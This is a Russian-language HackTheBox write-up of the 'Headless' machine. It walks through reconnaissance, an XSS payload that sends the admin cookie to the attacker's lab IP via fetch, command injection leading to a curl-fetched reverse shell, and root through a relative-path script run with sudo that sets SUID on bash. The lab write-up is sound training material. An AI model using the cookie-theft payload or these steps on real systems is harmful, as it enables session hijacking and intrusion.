April 2, 2024

Write-up на машину "Headless" на платформе HackTheBox by zluukka

Доброго времени суток, дорогие читатели. На прошлых выходных взломал интересную машинку «Headless». Сегодня мы с вами пошагово разберем процесс получения первоначального доступа и последующей эскалацией привилегий. И так поехали!

Проверим доступность нашей тачки с помощью утилиты ping:

Также добавим адрес данной машины в файл /etc/hosts , чтобы к машинке можно было обращаться по домену:

Разведка:

По станадрту для разведки используем утилиту для сканирования портов nmap:

Результаты сканирования нашего хоста

Как мы можем заметить у нас открыты два порта: это 22 , на котором висит ssh-service и 5000/tcp . Можно подметить интересный HTTP-Request, в котором у нас есть HTML-документ. Давайте проверим данный порт в вэбчике:

Пока ничего инетересного, попробуем пофаззить каталоги с помощью утилиты dirsearch:

Фаззинг директорий выдал нам 2 рабочие, причем каталог /dashboard отвечает нам кодом 401 HTTP. Код ответа на статус ошибки HTTP 401 Unauthorized клиента указывает, что запрос не был применён, поскольку ему не хватает действительных учётных данных для целевого ресурса.

Путь /support ведет нас на следующую страницу, сразу приходит идея проверить поля на наличие уязвимости типа Cross-Site Scripting ( XSS в простонародье ):

В результате получаем вот такой ответ:

Сайт уведомляет нас о попытке прокинуть полезную нагрузку в форму. Изучив HTTP-Requestможно обратить внимание на поле Cookie. Выстраивая цепочку связей , мы можем предположить , что нам нужны куки админа , чтобы получить доступ к каталогу /dashboard.

Используем Burp Suite в качестве прокси-сервера, чтобы можно было подменять наши параметры во время POST запросов. Мы также помним , что сайт потенциально уязвим под XSS,а значит поспамим различными полезными нагрузками в загаловке User-Agent и в полях запроса :

Наша нагрузка <img src=x onerror=fetch('http://10.10.14.101/?c='+document.cookie); представляет из себя JavaScript код, который отрабатывает следующим образом:
1) Тэг <img src=x> содержит ссылку на неизвестное изображение с названием x

2) Если наше изображение не найдено, то отрабатывает атрибут onerror=fetch(...), где fetch - это метод, который позволяет отправить серверу сетевой запрос.

Базовый синтаксис:

let promise = fetch(url, [options])
  • url – URL для отправки запроса.
  • options – дополнительные параметры: метод, заголовки и так далее.

Параметр document.cookie - это свойство, которое позволяет нам считать куки из браузера.
Значение document.cookie состоит из пар ключ=значение, разделённых ;. Каждая пара представляет собой отдельное куки.

И самое главное! Чтобы получить HTTP-Response от сервера, мы должны его поднять на нашей машине:

localhost.server , доступный по порту 80

Ждем пару минут и начинаем получать цепочку ответов на наш с вами сервер:

Скопируем куки , которые мы получили и используем Burp Suite чтобы прокинуть запрос с обновленными данными:

Получаем доступ к каталогу /dashboard:

Опять же воспользуемся бурпом, чтобы словить POST запрос и поискать другие уязвимости:

Перед нами стандартная CMDi ( OS Command Injection ). Данная уязвимость позволяет выполнять произвольные системные команды на внутреннем сервере. Воспользуемся этим и "заставим" сервер скушать заранее подготовленный нами reverse-shell код, который позволит нам получить доступ к системе:

Начнем слушать на входящие соединения 1234 порт с помощью netcat:

И с помощью curl скачаем наш скрипт и загрузим его в память:

Мы помним ,что у нас уже запущен web-server на 80 порту, туда и прилетает наш GET-запрос на скачивание скрипта:

И ловим нашу обратную оболочку:

Эскалация привилегий:

С помощью команды sudo -l посомотрим на права нашего юзера:

Можно заметить что мы можем читать файл в директории /usr/bin/syscheck и вот его содержимое:

#!/bin/bash

if [ "$EUID" -ne 0 ]; then exit 1 fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1) formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M") /usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}') /usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}') /usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then /usr/bin/echo "Database service is not running. Starting it..." ./initdb.sh 2>/dev/null else /usr/bin/echo "Database service is running." fi

exit 0

При проверке файла наиболее примечательной частью является попытка программы выполнить файл с именем initdb.sh. Поскольку для выполнения файла используется относительный путь, мы можем использовать эту возможность , чтобы создать файл с таким именем в нашем текущем каталоге, что приведет к его выполнению с привилегиями sudo.

Идея заключается в том, чтобы установить бит SUID для двоичного файла /bin/bash и повысить наши привилегии с помощью этого. Запуская /bin/bash -p, когда в двоичном файле установлен бит SUID, опция -p позволяет оболочке bash по умолчанию запускаться с привилегиями SUID.

Теперь запустим наш скрипт от имени sudo и подтвердим нашу теорию:

Вот и все , машина была взломана. Надеюсь вам понравился данный write-up. Жду ваших реакций и всем пока :)